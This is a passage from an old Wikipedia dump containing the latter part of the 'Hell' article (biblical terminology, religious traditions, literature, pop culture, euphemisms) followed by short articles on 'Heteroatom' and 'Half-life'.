&lt;blockquote&gt;The religious and secular man's nightmarish ideas of HELL (that is, of a Christ-managed hothouse where sinners get burned forever) come to them compliments of ... careless translating ... the practice of ignoring separate Greek words.&lt;br&gt;&lt;br&gt;In 2 Pet. 2:4, God chose the Greek word &quot;Tartaros&quot; (&amp;#964;&amp;#945;&amp;#961;&amp;#964;&amp;#945;&amp;#961;&amp;#959;&amp;#969;; English transliteration, &quot;[[Tartarus]]&quot;) to identify the temporary abode of sinning angels. Tartarus holds spirit beings, not humans, and there is not a flame on the premises. The KJV and NIV translators (neither of whose versions have any influence in the expression of Eastern Orthodox doctrine) gave this specific Greek word the English equivalent, &quot;hell&quot;.&lt;br&gt;&lt;br&gt;In [[Matthew 5:22]] (and in several other places), God chose a different Greek word, &quot;[[Geenna]],&quot; (English transliteration: &quot;[[Gehenna]]&quot;) to name a valley on the southwest corner of Jerusalem where the corpses of criminals will be disposed of during the thousand-year kingdom. There are flames here, yes, but the flames cremate the dead (Is. 66:24), they don't torture the living. Most of humanity is not even alive to see Gehenna (Rev. 20:5), let alone be tormented there. The KJV and NIV translators gave this specific Greek word the English equivalent, &quot;hell&quot;.&lt;br&gt;&lt;br&gt;In Luke 16:23 (and in other places), God chose the Greek word, &quot;hades&quot;, to describe the state of invisibility; in Greek, the word means &quot;unseen&quot;. God uses this word often to describe a person's nonexistence in death: unless spoken of figuratively, a dead person doesn't see anything, hear anything, feel anything, know anything, do anything: hades. Flames, screams, pointy tails and pitchforks are conspicuously absent. All the dead &quot;go&quot; here, not just the wicked. The KJV and NIV translators gave this specific Greek word the English equivalent, &quot;hell&quot;.&lt;/blockquote&gt; 

Priddy goes on to point out that if a (Western) Christian says that someone is in &quot;Hell&quot;, that &quot;is a terrible lack of information&quot;, because many versions of the Bible indiscriminately use the word &quot;Hell&quot; to describe three different places. If you press the point, and the Christian says that person is in Gehenna, then you could take a plane to Jerusalem and look for the person there. If the claim is that the person is in Tartarus, you can point out that they were never a stubborn, sinning angel who surrendered their sovereignty during the days of Noah (1 Pet. 3:19-20. 2 Pet. 2:4, Jude 6). And if in Hades, you could rejoice that, like Christ (Acts 2:3 l), David (Ps. 16: 10), and Jacob (Gn. 37:35) before him, the person has ceased from their troubles and sufferings (Jb. 3:11-19), and now rests, as if asleep (Jn. 11:11,14). However, given the perfectly natural evolution of concepts over a long period of time, examples such as [[Sheol]], provide us with a good example of how ideas can begin with a simple meaning  - &quot;the grave&quot; - and morph into a far larger concept - a place of eternal torment.

====Words in the Bible translated as &quot;hell&quot;====
The Greek words &quot;[[Hades]]&quot; and &quot;[[Gehenna]]&quot; are sometimes translated into the word &quot;hell&quot;, though the concepts are dissimilar.
Martin Luther, for example, translated the word &quot;[[Hades]]&quot; five times as the German word for &quot;hell&quot; (Hölle) (for example Matthew 16,18), and twice as &quot;the dead&quot;, twice as the &quot;world of the dead&quot;, and once as &quot;his kingdom&quot; (all in German). &quot;[[Gehenna]]&quot; was translated by Martin Luther eight times as &quot;hell&quot; (for example: Matthew 5,22,29,30; 18,9; Mark 9,43,45; and so on) and four times as &quot;hellish&quot;. In [[Norse mythology]] the underworld was a cold, monotonous place, which was commanded by the goddess [[Hel (being)|Hel]]. The place was called [[Hel (realm)|Hel]], too.

Newer translations of the Bible translate &quot;Hades&quot; or &quot;[[Sheol]]&quot; into the words &quot;world of dead&quot;, &quot;underworld&quot;, &quot;grave&quot;, &quot;crypt&quot; or similar, but still translate the word &quot;Gehenna&quot; into the word &quot;hell&quot;.

The word &quot;Hades&quot; of the [[New Testament]] is the Greek translation of the [[Hebrew language|Hebrew]] word &quot;Sheol&quot; of the [[Old Testament]] (Ap. 2,27, Psalm 16,10). What happens in Hades, or rather Sheol, ''[[Ecclesiastes]]'' tells us: &quot;for in the Sheol, where you are going, there is neither working nor planning nor knowledge nor wisdom.&quot; (Ecclesiastes 9,10) and &quot;For the living know that they will die, but the dead know nothing; they have no further reward, and even the memory of them is forgotten. &quot; (''Ecclesiastes'' 9,5; see also Psalm 89,49; 139,8; Numbers 16,30). &quot;The Lord brings death and makes alive; he brings down to the [[Sheol]] and raises up. &quot; (1. Samuel 2,6). The souls of all human beings are going to Hades, whether they believe or not (Joh. 5,28-29; Job 3,11-19, 14,13; Ez 32,18-32; Ps. 31,17; Dan. 12,2).

Geenna (or [[Gehenna]]) is the name of a real place. It comes from Hebrew and means &quot;Gorge of Hinnom (Ge-Hinnom)&quot;. This gorge can still be visited today near Jerusalem. In the time of the [[Old Testament]]  it was a place where children were sacrificed to the Ammonite god [[Molech]] (2 Kings 23,10). That cultic practice was, according to the Old Testament, imitated by King Solomon in the 10th Century B.C.E. and under the leadership of king Manasseh in the 7th Century B.C.E. and in times of crisis until the time of exile of the Jews in Babylon (6th Century B.C.E.). The prophet Jeremiah, who condemned that cult strictly, called the valley the &quot;gorge of killing&quot; (Jeremiah 7,31-32; 19,5-9). [[Gehenna]] became later a central garbage dump, to stop the practice of child sacrifice. At the turn of the 1st Century C.E. the gorge was used also to burn the dead bodies of criminals after their execution. The imagination of burning dead bodies probably inspired Jewish, and later Christian theologians to translate that place into the word &quot;hell&quot;.

The sea of fire after the last tribunal in  ''Revelation'' 20,14 isn't translated into the word &quot;hell&quot;, but sometimes gets the connotations of &quot;hell&quot;. In that sea of fire are thrown the beast, the devil, the false prophet, and Hell (Hades) itself, along with evil-doers, according to Revelation 20,12-15. &quot;And the devil, who deceived them, was thrown into the lake of burning sulfur, where the beast and the false prophet had been thrown. They will be tormented day and night for aeons of aeons.&quot; (Revelation 20,10)  Many people mistakenly assume &quot;Ages of Ages&quot; to mean forever, but Aeon is definitely a fixed length.  See [http://www.kingdomlife.com/kingdom/timeand1.htm]

The Old Testament makes a somewhat contradictory statement; in ''Lamentations'' 3:31-32 (NIV), we read:
:31 For men '''are not''' cast off, by the Lord '''forever'''.
:32 Though he brings grief, he will show compassion, so great is his unfailing love.

====Protestant====
[[Image:Hieronymus Bosch - The Garden of Earthly Delights - Hell.jpg|thumb|270px|right|Hell as depicted in the [[triptych]] [[The Garden of Earthly Delights]].]]
In Protestant [[Christianity]], Hell is a place designed for God's punishment of the [[Devil]], [[Lucifer]], [[Beelzebub]], or [[Satan]].  It is a place of everlasting fire.  

====Roman Catholic====
The present [[Roman Catholic]] view of Hell is stated in the ''[[Catechism of the Catholic Church]]'': &quot;To die in mortal sin without repenting and accepting God's merciful love means remaining separated from Him for ever by [one's] own free choice. This state of definitive self-exclusion from communion with God and the blessed is called 'Hell'.&quot;(1033)   Thus, [[Pope John Paul II]] said (see link below), &quot;The images of hell that Sacred Scripture presents to us must be correctly interpreted. They show the complete frustration and emptiness of life without God. Rather than a place, Hell indicates the state of those who freely and definitively separate themselves from God, the source of all life and joy.&quot;  The Catholic version of Hell was graphically described by [[Lucia Santos]], one of the three seers of the approved apparations of [[Our Lady of Fatima|Mary, the Mother of God]], at [[Fátima]], [[Portugal]] in [[1917]], as follows, &quot;Our Lady showed us a great sea of fire which seemed to be under the earth. Plunged in this fire were demons and souls in human form, like transparent burning embers, all blackened or burnished bronze, floating about in the conflagration, now raised into the air by the flames that issued from within themselves together with great clouds of smoke, now falling back on every side like sparks in a huge fire, without weight or equilibrium, and amid shrieks and groans of pain and despair, which horrified us and made us tremble with fear. The demons could be distinguished by their terrifying and repulsive likeness to frightful and unknown animals, all black and transparent.&quot;

====Eastern Orthodoxy====
For many ancient Christians, Hell was the same &quot;place&quot; as Heaven: living in the presence of God and directly experiencing God's love. Whether this was experienced as pleasure or torment depended on one's disposition towards God. [[Isaac of Nineveh|St. Isaac of Syria]] wrote in ''Mystic Treatises'':  &quot;''... those who find themselves in Hell will be chastised by the scourge of love. How cruel and bitter this torment of love will be! For those who understand that they have sinned against love, undergo greater suffering than those produced by the most fearful tortures. The sorrow which takes hold of the heart, which has sinned against love, is more piercing than any other pain. It is not right to say that the sinners in Hell are deprived of the love of God ... But love acts in two ways, as suffering of the reproved, and as joy in the blessed!''&quot;  This ancient view is still the doctrine of the [[Eastern Orthodoxy|Eastern Orthodox]] Church.

====Other Christian denominations====
Most Christian groups teach that Hell is eternal. Some, however, believe that Hell is only temporary, and that souls in Hell cease to exist after serving their time there, and others believe there is no conscious Hell at all but the word refers to the decay of Earthly remains in the ground. Both these beliefs are called [[annihilationism]]. Others believe that after serving their time in Hell all souls are reconciled to [[God]] and admitted to heaven, or ways are found at the time of death of drawing all souls to repentance so that Hell is never experienced. Both these beliefs are called [[universalism]].

[[Church of Jesus Christ of Latter-day Saints|Latter-day Saints]] believe in a concept of temporary hell, commonly called [[Spirit Prison]], for the disembodied spirits of the wicked awaiting resurrection.  They also believe in a concept of permanent hell, commonly called [[Outer Darkness]], a place of eternal emptiness after the resurrection for [[Son of Perdition|Sons of Perdition]], those who are irredeemably evil to their core.  While not fully [[universalism|universalist]], they do not believe in a permanent state of hell for any soul who is at all susceptible to the light of God.  A parallel may be seen here: Even as Hades has Tartarus and the [[Elysium|Elysian Fields]], so does the lot of the spirits of the dead comprise both Paradise (&quot;. . . today shalt thou be with me in Paradise . . . &quot;) and Prison (e.g., the abode of the wicked who rejected Noah's preaching referred to in 1 Peter).  Latter-day Saints might also believe that as the lake of fire and brimstone in the Revelation of John depicts destruction, and as both death and hell are to be cast into it, that therefore both death and hell must have a permanent end, meaning that outer darkness (Perdition) and Hell are distinct states.

[[Jehovah's Witnesses]] believe the Bible presents &quot;hell&quot;, as translated from &quot;Sheol&quot; and &quot;Hades&quot;, to be mankind's common grave for both the good and the bad, whereas &quot;Gehenna&quot; signifies eternal destruction [http://www.watchtower.org/library/w/2002/7/15/article_02.htm].

====Popular culture====
Hell is often depicted as a place underground, with fire and molten rock where the devil lives.  The devil is popularly depicted as a being or creature who carries a pitchfork (which in turn is actually a trident), has flaming red skin, horns on his head, and a long thin tail with a triangle shaped barb on it.  This description of the Devil is popular, to the point of being a cliche' and nearly comical to most, but is not supported by scripture.

===Islam===
The [[Muslim]] belief in ''[[Jahannam|jahannam]]'' (in [[Arabic Language|Arabic]]: جهنم) (similar to Hebrew ''ge-hinnom'' and resembles that of other [[Abrahamic faith|Abrahamic]] religions). In the [[Qur'an]], the holy book of [[Islam]], there are literal descriptions of the condemned in a fiery Hell, as contrasted to the garden-like Paradise enjoyed by righteous believers.

The meaning of ''jahannam'' is to do with hotness (whereas in Hebrew Gehenna is said to mean a narrow deep valley). The word for paradise is &quot;jannah&quot; which literally means ''garden''.

In addition, Heaven and Hell are split into many levels depending on the actions taken in life, where punishment is given depending on the level of evil done in life, and good is separated into other levels depending on how well you followed Allah (God) while alive.

There is an equal number of mentions of both hell and paradise in the Qur'an.

The Qur'an also says that some of those who are damned to hell are not damned forever, but instead for an indefinite period of time. When Judgement Day comes, the formerly damned will be judged as to whether or not they may enter into Paradise.

===Chinese and Japanese religions===
The structure of Hell is remarkably complex in many [[China|Chinese]] and [[Japanese mythology|Japanese]] religions. The ruler of Hell has to deal with politics, just as human rulers do. Hell is the subject of many folk stories and [[manga]].  In many such stories, people in hell are able to die again, but no one seems to care about the apparent contradiction. (Note: the strong influence of [[Buddhism]] (see below) on Chinese and Japanese Hells means that this is not necessarily a contradiction.)

See [[Feng Du]] for more information on Chinese Hell.

Unlike some opinions on Biblical, Jewish and Islamic Hell, the Chinese depiction of Hell doesn't necessarily mean a long time suffering for those who enter Hell, nor does it mean that person is bad. The Chinese view Hell as similar to a present day [[passport]] or [[immigration]] control station. In a Chinese funeral, they burn many [[Hell Bank Notes]] for the dead. With this Hell money, the dead person can bribe the ruler of Hell, and spend the rest of the money either in Hell or in Heaven.

===Hinduism===
In [[Hinduism]], there are contradictions as to whether or not there is a hell. For some it is a metaphor for a conscience. But in [[Mahabharata]] there is a mention of the [[Pandavas]] and the [[Kauravas]] going to hell. Hells are also described in various [[Purana]]s and other scriptures.

It is believed that people who commit 'paap' (sin) go to hell and have to go through the punishments in accordance to the sins they committed. 
The god [[Yama]], who is also the god of death, is the king of hell. The detailed accounts of all the sins committed by an individual are supposed to be kept by [[Chitragupta]] who is the record keeper in Yama's court. Chitragupta reads out the sins committed and Yama orders the appropriate punishments to be given to the individuals. These punishments include dipping in boiling oil, burning in fire, torture using various weapons etc. in various hells. Individuals who finish their quota of the punishments are reborn according to their [[karma]]. All of the created are imperfect and thus have at least one sin to their record, but if one has led a generally pious life, one ascends to [[Heaven]], or [[Swarga]] after a brief period of expiation in hell. 

[http://veda.harekrsna.cz/planetarium/index.htm Tour of Vedic universe]

===Buddhism===
As diverse as other religions, there are many beliefs about Hell in [[Buddhism]].

Most of the schools of thought, [[Theravāda]], [[Mahāyāna]], and [[Vajrayāna]] would acknowledge several hells, which are places of great suffering for those who commit evil actions, such as cold hells and hot hells. Like all the different realms within cyclic existence, an existence in hell is temporary for its inhabitants. Those with sufficiently negative [[karma]] are [[rebirth (Buddhism)|reborn]] there, where they stay until their specific negative karma has been used up, at which point they are reborn in another realm, such as that of [[Human realm|humans]], of [[Hungry ghost realm|hungry ghosts]], of [[Animal realm|animals]], of [[Asura realm|asuras]], of [[God realm|devas]], or of [[Hell realm|demons]] all according to the individual's karma.

[[Zen]] does not really focus or use the idea of Hell.  Rather, consider this [[koan]]:

''A [[roshi]] meets two students in the garden.  To them, he asks, &quot;where is Hell?&quot;''

''&quot;In Heaven,&quot; the first student replies.''

''The roshi humphs, disappointedly.  He then looks at the second.''

''&quot;In the flower by your foot,&quot; the second replies.  He then bends down and kisses it.  The first student bows, enlightened.''

===Bahá'í Faith===
[[Bahá'í Faith|Bahá'ís]] do not accept Hell as a place, but rather as a state of being. &quot;Heaven is nearness to Me and Hell is separation from Me.&quot; &amp;ndash; [[Bahá'u'lláh]]

===Taoism===
[[Taoism]] has a slightly nebulous version of Hell. Some claim it has no Hell at all, but - particularly in its home country [[China]] - popular belief endows Taoist Hell with many deities and spirits who punish sin in a variety of horrible ways. (See [[Feng Du]].)

==Hell in Literature==
Many of the great epics of European literature include episodes that occur in Hell. In the Roman poet [[Virgil]]'s Latin epic, the ''[[Aeneid]]'', Aeneas descends into Dis (the underworld) to visit his father's spirit.  The underworld is only vaguely described, with one unexplored path leading to the punishments of Tartarus, while the other leads through Erebus and the Elysian Fields.

In his ''[[Divina commedia]]'' ('Divine comedy'; set in the year [[1300]]), [[Dante|Dante Alighieri]] employed the conceit of taking Virgil as his guide through [[Inferno]] (and then, in the second cantiche, up the mountain of [[Purgatory|Purgatorio]]). Virgil himself is not condemned to Hell in Dante's poem but is rather, as a virtuous pagan, confined to [[Limbo]] just outside its gates.  The geography of Hell is very elaborately laid out in this work, with nine concentric rings leading deeper into the Earth and deeper into the various punishments of Hell, until, at the center of the world, Dante finds Satan himself trapped in the frozen lake of Cocytus.  A small tunnel leads past Satan and out to the other side of the world, at the base of the Mount of Purgatory.

[[John Milton]]'s ''[[Paradise Lost]]'' ([[1668]]) opens with the [[fallen angels]], including their leader [[Satan]], waking up in Hell after having been defeated in the [[war in heaven]] and the action returns there at several points throughout the poem.  The nature of Hell as a place of punishment, as portrayed by Dante, is not explored here; instead, Hell is the abode of the demons, and the passive prison from which they plot their revenge upon Heaven through the corruption of the human race.

[[C.S. Lewis]]'s ''[[The Great Divorce]]'' ([[1945]]) borrowed inspiration from the Divine Comedy as the narrator is likewise guided through Hell and Heaven.  Hell is portrayed here as an endless, desolate twilight city upon which night is imperceptibly sinking.  The night is actually the [[Apocalypse]], and it heralds the arrival of the demons after their judgement.  Before the night comes, anyone can escape Hell if they leave behind their former selves and accept Heaven's offer, and a journey to Heaven reveals that Hell is infinitely small; it is nothing more or less than what happens to a soul that turns away from God and into itself.

The idea of hell was highly influential to writers such as [[Jean-Paul Sartre]] who authored the play &quot;[[No Exit]]&quot; about the idea that, &quot;hell is other people&quot;.  Although not a religious man, Sartre was fascinated by his interpretation of a hellish state of suffering.  

19th century French poet [[Arthur Rimbaud]] alluded to the concept as well in the title and themes of one of his major works, &quot;[[Une Saison en Enfer|A Season In Hell]]&quot;.  Rimbaud's poetry portrays his own suffering in a poetic form as well as other themes.

==Hell in entertainment and other popular culture==
[[Philip José Farmer]] in his [[Riverworld]] series ([[1971]]) created perhaps the best science fiction depiction of a &quot;man&quot; made hell created with advanced technology that ensures immortality and sustenance but allows suffering. While it is never meant to be hell it quickly becomes hellish because the good and evil are both repeatedly resurrected. Immortal and immoral Dictators end up running many areas. It may be called a humanist model of hell. Yet the author carefully avoids over using the term hell itself in these science fictions. 

''[[What Dreams May Come]]'', a 1998 movie that won an Academy Award for its depiction of heaven and hell as the subjective creations of the individual, was an essentially new age model of heaven, hell and reincarnation.

The [[BBC Radio 4]] comedy series ''[[Old Harry's Game]]'' is set in Hell. It was written by [[Andy Hamilton]] who also stars as [[Satan]].

In the television show ''[[Futurama]]'', the characters go to [[Robot Hell]] on occasion, where the Robot Devil and other evil robots reside.  [[Bender Bending Rodriguez|Bender]] was once put in there to be tormented, just like in Hell, but he escapes.  [[Phillip J. Fry|Fry]] and Bender return to make Fry better at the [[holophonor]], and doing so means he needs the Robot Devil's hands.  The Robot Devil's little deal actually backfires on him instead of Fry, so he wants his robot hands back. The part with the Robot Devil's hands took place on the last episode of ''Futurama''.

In many episodes of the television show [[South Park]], [[Satan]] appears. On many occasions he is accompanied by [[Saddam Hussein]], who ironically seems to be even more malicious than Satan himself.

In a deleted scene from the 1999 theatrical theological comedy ''[[Dogma (movie)|Dogma]]'', the ex-[[Muse]] Azrael (played by actor [[Jason Lee (actor)|Jason Lee]]) explains that there have been past and current &quot;versions&quot; of Hell. When Hell was first formed it was meant to hold Lucifer and the rebel angels and was merely a place devoid of the presence of God. To those who had previously been in the presence of God, this was punishment enough. Azrael goes on to say that when humanity was created, Hell was infected with a disease of sorts. Believing that God could never forgive their sins, many humans came to Hell and subconsciously demanded to be actively punished, although that was not their due. Slowly but surely (and reminiscent of the doctrine of [[responsibility assumption]]), Hell became a &quot;suffering pit&quot; to contain all these gluttons for punishment. According to Azrael, Hell is far more horrifying for the fallen angels residing there than for the Damned themselves, as the angels not only have to endure the absence of God, but also the unending howls of the Damned as they undergo torture essentially at their own hands. This concept of Hell had appeared previously in [[Neil Gaiman]]'s successful [[The Sandman (DC Comics Modern Age)|Sandman]] series of graphic novels.

The 2004 [[Insane Clown Posse]] album &quot;[[The Wraith: Hell's Pit]]&quot; is a concept album about Hell. 

The first [[Fear Effect]] game deals extensively with the Chinese concept of hell, replete with its aforementioned political ramifications.  Several of the later levels actually take place in the Chinese hell.

The famous PC game series ''[[Doom]]'' also involves the concept of Hell, but with a science-fiction twist, as a future teleportation experiment accidentally opens a gate to Hell. Hell is treated in the Christian conception, replete with Satanic symbols and corporeal demons, as a parallel universe of crimson skies, black mountains and oceans of fire.

The first game in the ''[[Quake]]'' computer game series involves an invasion by forces from Hell.

In the [[comic book]] series ''[[Hellboy]]'' by award-winning artist [[Mike Mignola]], Hell is shown in the two page story &quot;Pancakes&quot; (1999 ''[[Dark Horse]] Presents Annual'') to be a dark, alternate dimension filled with flames and demons and where the infernal capital city of [[Pandemonium]] resides. In issue one &quot;Seed of Destruction&quot; the [[Nazis]] with aid of the mad monk [[Grigori Rasputin|Rasputin]] successfully breach the transdimensional boundary of Hell via magic and call forth the infant Hellboy so that he may bring about the end of the world. They are stopped, however, by the [[World War II|Allied Forces]] who also rescue Hellboy and raise him.

The 2005 Warner Bros. film ''[[Constantine (film)|Constantine]]'' depicts as graphic a version of the traditional Christian version of Hell as can be found in cinema: it shows a parallel plane with many of the same buildings and structures as the normal world, but twisted, ruined and perpetually engulfed in hellfire.  This movie is based on the DC/Vertigo comic series [[Hellblazer]].

In the first of the ''[[Diablo (computer game)|Diablo]]'' series of games, hell is portrayed as a pit deep under the ground largely characterized as a place of suffering, as the bodies of hundreds of apparently tortured people reside there. The game manual refers to this place as actually part of the mortal realm whose barriers with the metaphysical Hell have weakened, causing it to take on hellish attributes combined with more worldly ones. None of the apparently tortured bodies show any signs of life or torment, and as such may simply be the Decor that Diablo, the lord of Terror, has chosen for his home in the mortal world. This fits with the view of the actual Hell as portrayed in ''[[Diablo II]]'', which features Hell as a bleak landscape populated by grotesque monsters and souls in active torment.

[[Lobo (comics)|Lobo]] in the [[DC Universe]] was banned from hell, as he caused too many problems there, thus achieving immortality, as he was also banned from heaven for much the same reason. Incidentally, God apparently got some mirth from watching Lobo's antics.

== Non-religious context ==
The word &quot;Hell&quot; used away from its religious context was long considered to be [[profanity]], particularly in North America.  Although its use was commonplace in everyday speech and on television by the 1970s, many people in the US still consider it somewhat rude or inappropriate language, particularly involving children.[http://www.post-gazette.com/pg/04036/269490.stm]
Many, particularly among religious circles and in certain sensitive &lt;!-- ???--&gt; environments, still avoid casual usage of the word. In [[British English]] and some parts of North America, the word has fallen into common use and is not considered profane; often considered to be a safer and less offensive alternative to swearing.

=== [[Euphemism|Euphemistic]] ways of saying hell ===
&quot;Hell&quot; is sometimes used as a [[minced oath]], as &quot;''H-E-double-hockey-sticks''&quot;, &quot;''H-E-double-toothpicks''&quot;, &quot;''heck''&quot; or &quot;''Sam Hill''&quot; (&quot;What in the Sam Hill is going on here?&quot;). Another common euphemism for Hell is &quot;The Other Place&quot; (which is also the formal term used in the UK parliament to refer to the [[House of Lords]] by a member of the [[House of Commons]], and vice-versa).
Example: &quot;Gosh darn you to heck and tarnation&quot; in place of &quot;May God damn you to hell and eternal damnation.&quot;

===[[Censorship|Language edits]]===
In the [[Cartoon Network]] dubbed broadcast of the [[anime]] series [[Rurouni Kenshin]], edits were made in the dialogue to change &quot;hell&quot; to &quot;Hades&quot; in some cases. Example: &quot;The flames of hell (Hades) have been burning in my body for every single day since then.&quot;
This edit was only used when talking about hell. &quot;What the hell?&quot; was changed to &quot;What the [[heck]]?&quot;

In the popular [[anime]] ''[[Dragon Ball Z]]'', the central character [[Son Goku (Dragon Ball)|Goku]] spends an episode traveling through Hell.  He is tormented and teased by big ogre-like monsters wearing shirts with HELL written clearly in large letters. In the American version produced by [[Saban]], the shirts were digitally altered to spell [[HFIL]] by removing the lower bars of the two middle letters.  This new place was named Home For Infinite Losers (this edit was later removed when [[Funimation]] redubbed those episodes for their own DVD release). [[Vegeta]] also says &quot;See you in Hell&quot; in the [[Frieza]] saga. 

====Cold day in hell====
Another example of common use of &quot;hell&quot; in daily language, a '''Cold Day in Hell''' is a [[paradox]] and an [[idiom]], since most imagery of hell depicts it as hot and fiery, such as in the [[Bible]] in [[Revelation]], where sinners are cast into a [[lake of fire]]. Similar or related phrases include: &quot;Over my dead body,&quot; &quot;When hell freezes over,&quot; &quot;A snowball's chance in hell,&quot; &quot;When the devil goes ice-skating,&quot; and &quot;[[flying pig|When pigs fly]].&quot;

Interestingly, [[Cocytus]], the bottom circle of Hell in [[Dante]]'s ''[[Divine Comedy]]'', is depicted as an ice-covered lake.

=== Places named '''Hell''' ===
*[[Hell, Michigan|Hell]], [[Michigan]] [[USA]]
*[[Hell, Norway|Hell]], [[Nord-Trøndelag]] [[Norway]]
*[[Hell, Grand Cayman Island|Hell]], [[Cayman Islands]]

== See also ==
*[[Theodicy]]
*[[Eschatology]]
*[[Purgatory]]
*[[Problem of Hell|The problem of Hell]]
*[[Annihilationism]]
*[[Demon|Demons]]
*[[Book of Revelation]]

==External links==
{{wikiquote}}
*[http://www.cais-soas.com/CAIS/Religions/iranian/Zarathushtrian/hell.htm Concept of Hell in Iranian culture]
*[http://www.religionfacts.com/christianity/beliefs/hell.htm Christian Doctrines of Hell] - statements from the Old Testament, New Testament, church fathers and modern denominations on Hell, plus common arguments for and against Hell.
* [http://www.vatican.va/holy_father/john_paul_ii/audiences/1999/documents/hf_jp-ii_aud_28071999_en.html July 28, 1999 statement of Pope John Paul II concerning the topic of Hell]
*[http://www.tentmaker.org/books/Aion_lim.html Hell as non-eternal] (Universalist study)
*[http://www.watchtower.org/library/w/2002/7/15/article_02.htm The Jehovah's Witnesses perspective]
* [http://veda.harekrsna.cz/encyclopedia/dying.htm Dying, Yamaraja and Yamadutas + terminal restlessness]
*[http://www.khandro.net/doctrine_hells.htm example Buddhist hells]
*[http://plato.stanford.edu/entries/heaven-hell/ Stanford Encyclopedia of Philosophy entry on Heaven and Hell]
*[http://hyperstition.abstractdynamics.org/archives/003569.html Five Billion Years of Hell-engineering] (Ge-hinnom valley, Jerusalem)
* [http://www.people.virginia.edu/~rjh9u/hellthrm.html The thermodynamics of Hell] (humor)
* [http://www.chabad.org/search/keyword.asp?scope=6198&amp;kid=9562 The Jewish view of Hell]
* [http://www.av1611.org/hell.html]

&lt;!-- The below are interlanguage links. --&gt;

[[Category:Jewish mysticism]]
[[Category:Profanity]]
[[Category:Christian eschatology]]
[[Category:Abrahamic mythology]]
[[Category:Life after death]]

[[ca:Infern]]
[[cs:Peklo]]
[[de:Hölle]]
[[es:Infierno]]
[[eo:Infero]]
[[fi:Helvetti]]
[[fr:Enfer]]
[[el:Κόλαση]]
[[he:גיהנום]]
[[hu:Pokol]]
[[id:Neraka]]
[[it:Inferno]]
[[ja:地獄]]
[[la:Inferno]]
[[nl:Hel]]
[[no:Helvete (religion)]]
[[pl:Piekło]]
[[pt:Inferno]]
[[ru:Ад]]
[[sv:Helvete]]
[[th:นรก]]
[[uk:Пекло]]
[[zh:地獄]]</text>
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  <page>
    <title>Heteroatom</title>
    <id>13605</id>
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      <minor />
      <comment>robot  Adding: de</comment>
      <text xml:space="preserve">In the [[organic nomenclature|nomenclature]] of [[organic chemistry]], a '''heteroatom''' (from [[Old Greek]] ''heteros'', different, + ''atomos'') is any [[atom]] that is not [[carbon]] or [[hydrogen]], typically, but not exclusively, [[nitrogen]], [[oxygen]], [[sulfur]], [[phosphorus]] or [[boron]].

In the description of [[protein]] structure, particularly in the now-deprecated [[Protein Data Bank]] file format, a heteroatom record (HETATM) describes an atom belonging to a small molecule cofactor rather than to part of a biopolymer chain.


{{chem-stub}}

[[de:Heteroatom]]</text>
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  <page>
    <title>Half-life</title>
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      <minor />
      <comment>Reverted edits by [[Special:Contributions/Robot Chicken|Robot Chicken]] ([[User talk:Robot Chicken|talk]]) to last version by 218.103.137.59</comment>
      <text xml:space="preserve">{{otheruses}}
{{mergeto|Exponential decay}}
{{main|Exponential decay}}

The '''half-life''' of a quantity subject to [[exponential decay]] is the time required for the quantity to fall to half of its initial value.  The concept originated in the study of [[radioactive decay]], but it now also occurs in many other fields.

{| class=&quot;wikitable&quot; align=right
! After # of&lt;br&gt;Half-lives !! Percent of quantity&lt;br&gt;remaining 
|-
| 0 || 100%
|-
| 1 || 50%
|-
| 2 || 25%
|-
| 3 || 12.5%
|-
| 4 || 6.25%
|-
| 5 || 3.125%
|-
| 6 || 1.5625%
|-
| 7 || 0.78125%
|-
| '''...'''|| '''...'''
|-
| N || &lt;math&gt;\frac{100\%}{2^N}&lt;/math&gt;
|-
| '''...'''|| '''...'''
|}
The table at right shows the reduction of the quantity in terms of the number of half-lives elapsed.

== Derivation ==
Quantities that are subject to exponential decay are commonly denoted by the symbol ''N''.  (This convention suggests a decaying ''number'' of discrete items.  This interpretation is valid in many, but not all, cases of exponential decay.)  If the quantity is denoted by the symbol ''N'', the value of ''N'' at a time ''t'' is given by the formula:

:&lt;math&gt;N(t) = N_0 e^{-\lambda t} \,&lt;/math&gt;

where 

*'''&lt;math&gt;N_0&lt;/math&gt;''' is the initial value of ''N'' (at ''t=0'')
*'''&amp;lambda;''' is a [[negative and non-negative numbers|positive]] constant (the ''[[decay constant]]'').

When ''t=0'', the exponential is equal to 1, and ''N(t)'' is equal to &lt;math&gt;N_0&lt;/math&gt;.  As ''t'' approaches [[infinity]], the exponential approaches zero. 

In particular, there is a time &lt;math&gt;t_{1/2} \,&lt;/math&gt; such that:

:&lt;math&gt;N(t_{1/2}) = N_0\cdot\frac{1}{2} &lt;/math&gt;

Substituting into the formula above, we have:

:&lt;math&gt;N_0\cdot\frac{1}{2} = N_0 e^{-\lambda t_{1/2}} \,&lt;/math&gt;

:&lt;math&gt;e^{-\lambda t_{1/2}} = \frac{1}{2} \,&lt;/math&gt;

:&lt;math&gt;- \lambda t_{1/2} = \ln \frac{1}{2} = - \ln{2} \,&lt;/math&gt;

:&lt;math&gt;t_{1/2} = \frac{\ln 2}{\lambda} \,&lt;/math&gt;

Thus the half-life is 69.3% of the [[mean lifetime]].

== Examples ==
The generalized constant &amp;lambda; can represent many different specific physical quantities, depending on what process is being described.  For a comprehensive list of processes described by half-lives, see [[Exponential decay]].

* In an [[RC circuit]] or [[RL circuit]], &amp;lambda; is the reciprocal of the circuit's [[time constant]] &amp;tau;.  For simple RC and RL circuits, &amp;lambda; equals &lt;math&gt;RC&lt;/math&gt; or &lt;math&gt;L/R&lt;/math&gt;, respectively.
* In first-order [[chemical reaction]]s, &amp;lambda; is the [[reaction rate constant]].

== Decay by two or more processes ==
Some quantities decay by two processes at once (see [[Exponential decay#Decay by two or more processes]]).  In a fashion similar to the previous section, we can calculate the new total half-life &lt;math&gt;T_{1/2}&lt;/math&gt; and we'll find it to be:

:&lt;math&gt;T_{1/2} = \frac{\ln 2}{\lambda _1 + \lambda _2} \,&lt;/math&gt;

or, in terms of the two half-lives

:&lt;math&gt;T_{1/2} = \frac{t _1 t _2}{t _1 + t_2} \,&lt;/math&gt;

where &lt;math&gt;t _1&lt;/math&gt; is the half-life of the first process, and &lt;math&gt;t _2&lt;/math&gt; is the half life of the second process.

== Pharmacology ==
In pharmacology, there are several measures of a drug's half life. Two more common half lives are the alpha half life and beta half life. 

The alpha half life measures the rate of a drug's distribution within the test subject. Also related to the volume of distribution. 

Beta half life measures the rate of a drug's elimination from the test subject, which is very similar to the rate of clearance. 

== See also ==
* [[Exponential decay]]
* [[Mean lifetime]]
* [[Elements]]


[[Category:Radioactivity]]
[[Category:Exponentials]]
